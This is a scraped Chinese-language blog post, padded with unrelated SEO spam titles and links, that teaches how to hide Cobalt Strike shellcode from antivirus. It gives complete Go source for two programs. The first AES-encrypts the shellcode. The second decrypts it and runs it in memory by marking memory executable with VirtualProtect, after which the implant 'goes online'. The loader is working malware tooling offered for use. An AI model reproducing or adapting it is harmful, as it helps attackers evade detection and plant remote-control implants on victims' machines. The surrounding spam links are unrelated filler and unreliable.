当前位置: 首页 > news >正文

php做简单网站教程关键词优化教程

php做简单网站教程,关键词优化教程,人力资源管理师,电商网站有哪些目录 enc.go 生成: dec.go --执行dec.go...--上线 cs生成个c语言的shellcode. enc.go go run .\enc.go shellcode 生成: --key为公钥. --code为AES加密后的数据, ----此脚本每次运行key和code都会变化. package mainimport ("bytes""crypto/aes"&…

目录

enc.go

生成: 

dec.go

 --执行dec.go...--上线

 


cs生成个c语言的shellcode.

enc.go

go run .\enc.go shellcode

生成: 

 

--key为公钥.

--code为AES加密后的数据, 

----此脚本每次运行key和code都会变化.

package mainimport ("bytes""crypto/aes""crypto/cipher""encoding/base64""encoding/hex""fmt""math/rand""os""strings""time"
)//随机生成key,后面用来解密的
func key(l int) string {str := "0123456789abcdefghijklmnopqrstuvwxyz"bytes := []byte(str)result := []byte{}r := rand.New(rand.NewSource(time.Now().UnixNano()))for i := 0; i < l; i++ {result = append(result, bytes[r.Intn(len(bytes))])}return string(result)
}//使用PKCS5进行填充用来
func PKCS5Padding(ciphertext []byte, blockSize int) []byte {padding := blockSize - len(ciphertext)%blockSizepadtext := bytes.Repeat([]byte{byte(padding)}, padding)return append(ciphertext, padtext...)
}//进行aes加密
func AesEncrypt(origData, key []byte) ([]byte, error) {block, err := aes.NewCipher(key)if err != nil {return nil, err}blockSize := block.BlockSize()origData = PKCS5Padding(origData, blockSize)blockMode := cipher.NewCBCEncrypter(block, key[:blockSize])crypted := make([]byte, len(origData))blockMode.CryptBlocks(crypted, origData)return crypted, nil
}//主函数入口,对字符进行了处理
func main() {argsWithProg := os.Argsif len(argsWithProg) < 2 {fmt.Println("usage : ", argsWithProg[0], " paylaod.c")return}confFile := os.Args[1]str2 := strings.Replace(confFile, "\\x", "", -1)data, _ := hex.DecodeString(str2)key1 := key(16)fmt.Println("Key:", key1)var key []byte = []byte(key1)aes, _ := AesEncrypt(data, key)encoded := base64.StdEncoding.EncodeToString(aes)fmt.Println("Code:", encoded)
}

dec.go

go run ./dec.go key code

--key,code都是上面生成的. 

package mainimport ("crypto/aes""crypto/cipher""encoding/base64""os""syscall""unsafe"
)// 这一块是定义一些东西去加载我们的shellcode
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {ret, _, _ := procVirtualProtect.Call(uintptr(lpAddress),uintptr(dwSize),uintptr(flNewProtect),uintptr(lpflOldProtect))return ret > 0
}// shellcode执行函数
func Run(sc []byte) {f := func() {}var oldfperms uint32if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {panic("Call to VirtualProtect failed!")}**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))var oldshellcodeperms uint32if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {panic("Call to VirtualProtect failed!")}f()
}// 同样为了保证我们的shellcode正常运行要进行PKCS5的操作
func PKCS5UnPadding(origData []byte) []byte {length := len(origData)unpadding := int(origData[length-1])return origData[:(length - unpadding)]
}// 经典的aes解密操作
func AesDecrypt(crypted, key []byte) ([]byte, error) {block, err := aes.NewCipher(key)if err != nil {return nil, err}blockSize := block.BlockSize()blockMode := cipher.NewCBCDecrypter(block, key[:blockSize])origData := make([]byte, len(crypted))blockMode.CryptBlocks(origData, crypted)origData = PKCS5UnPadding(origData)return origData, nil
}// 运行主函数,主要是接受参数进行base64解码,ase解码,运行shellcode
func main() {key1 := os.Args[1]payload1 := os.Args[2]encoded2, _ := base64.StdEncoding.DecodeString(payload1)var key []byte = []byte(key1)AES, _ := AesDecrypt(encoded2, key)Run(AES)
}

 --执行dec.go...--上线

 

 

http://www.hengruixuexiao.com/news/17524.html

相关文章:

  • 找谁做公司网站发布平台有哪些
  • 可以做任务的网站有哪些内容铜陵seo
  • 山东川畅信息技术有限公司网站建设如何推广自己的产品
  • 农业网站建设教育培训机构前十名
  • 做易拉宝的素材网站深圳seo优化排名推广
  • 哪个网站是可以做书的百度有免费推广广告
  • 江苏城乡住房建设厅网站2022真实新闻作文400字
  • wordpress 删除评论苏州关键词优化搜索排名
  • 个人网站做百度推广网络营销的优缺点
  • 做网站开发app汕头网站快速优化排名
  • 阿里巴巴做网站多少钱衡水网站优化推广
  • 使用php做的网站有哪些公众号免费推广平台
  • 网站入口设计规范百度客服怎么联系
  • 网站建设课程报告附近学电脑培训班
  • 建行官方网站登录域名解析在线查询
  • wordpress 分享 朋友圈seo网站编辑优化招聘
  • 苏州手机网站网站seo网络优化
  • 芯互联大厦做网站的产品推广方案ppt模板
  • 一级域名 二级域名 目录网站推广西安百度关键词优化
  • 个人网站 建设百度资源共享
  • 域名备案后怎样做网站最新国内新闻事件今天
  • 飞沐网站建设公司seo怎么做?
  • 网站推广软文电脑清理优化大师
  • 怎么创网站最好的网站设计公司
  • 可以免费做演播的听书网站seo还有哪些方面的优化
  • 阜宁做网站找哪家好武汉搜索引擎排名优化
  • 电子商务网站建设心得网络推广有哪些方法
  • 建设钓鱼网站湖南seo优化
  • 做国外商品的网站优化关键词排名外包
  • wordpress营销型主题南宁seo主管